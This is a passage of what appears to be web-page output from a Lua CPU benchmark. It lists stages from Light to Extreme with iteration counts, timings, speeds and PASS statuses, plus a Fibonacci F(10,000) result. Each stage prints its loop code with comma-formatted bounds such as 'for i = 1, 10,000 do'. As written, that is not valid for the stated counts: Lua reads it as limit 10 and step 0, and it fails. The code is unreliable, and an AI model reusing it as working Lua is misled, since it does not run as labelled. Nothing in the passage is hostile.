-- Speed: 5,133,787 iterations/second
-- Benchmark core:
local sum = 0
for i = 1, 10,000 do
local r = math.rad(i)
sum = sum + math.sin(r) * math.cos(r) - (math.sin(r) / math.cos(r + 1e-10))
end | ||||||
| Light | 100,000 | 0.023s | 4,256,232/s | PASS | ||
-- Stage: Light
-- Status: PASS
-- Iterations: 100,000
-- Time: 0.023s
-- Speed: 4,256,232 iterations/second
-- Benchmark core:
local sum = 0
for i = 1, 100,000 do
local r = math.rad(i)
sum = sum + math.sin(r) * math.cos(r) - (math.sin(r) / math.cos(r + 1e-10))
end | ||||||
| Medium | 500,000 | 0.091s | 5,513,351/s | PASS | ||
-- Stage: Medium
-- Status: PASS
-- Iterations: 500,000
-- Time: 0.091s
-- Speed: 5,513,351 iterations/second
-- Benchmark core:
local sum = 0
for i = 1, 500,000 do
local r = math.rad(i)
sum = sum + math.sin(r) * math.cos(r) - (math.sin(r) / math.cos(r + 1e-10))
end | ||||||
| Heavy | 1,000,000 | 0.183s | 5,460,906/s | PASS | ||
-- Stage: Heavy
-- Status: PASS
-- Iterations: 1,000,000
-- Time: 0.183s
-- Speed: 5,460,906 iterations/second
-- Benchmark core:
local sum = 0
for i = 1, 1,000,000 do
local r = math.rad(i)
sum = sum + math.sin(r) * math.cos(r) - (math.sin(r) / math.cos(r + 1e-10))
end | ||||||
| Very Heavy | 10,000,000 | 1.895s | 5,278,215/s | PASS | ||
-- Stage: Very Heavy
-- Status: PASS
-- Iterations: 10,000,000
-- Time: 1.895s
-- Speed: 5,278,215 iterations/second
-- Benchmark core:
local sum = 0
for i = 1, 10,000,000 do
local r = math.rad(i)
sum = sum + math.sin(r) * math.cos(r) - (math.sin(r) / math.cos(r + 1e-10))
end | ||||||
| Extreme | 50,000,000 | 9.351s | 5,346,857/s | PASS | ||
-- Stage: Extreme
-- Status: PASS
-- Iterations: 50,000,000
-- Time: 9.351s
-- Speed: 5,346,857 iterations/second
-- Benchmark core:
local sum = 0
for i = 1, 50,000,000 do
local r = math.rad(i)
sum = sum + math.sin(r) * math.cos(r) - (math.sin(r) / math.cos(r + 1e-10))
end | ||||||
FIBONACCI
F(10,000)
TERM
2,090
DIGITS
3.1811s
TIME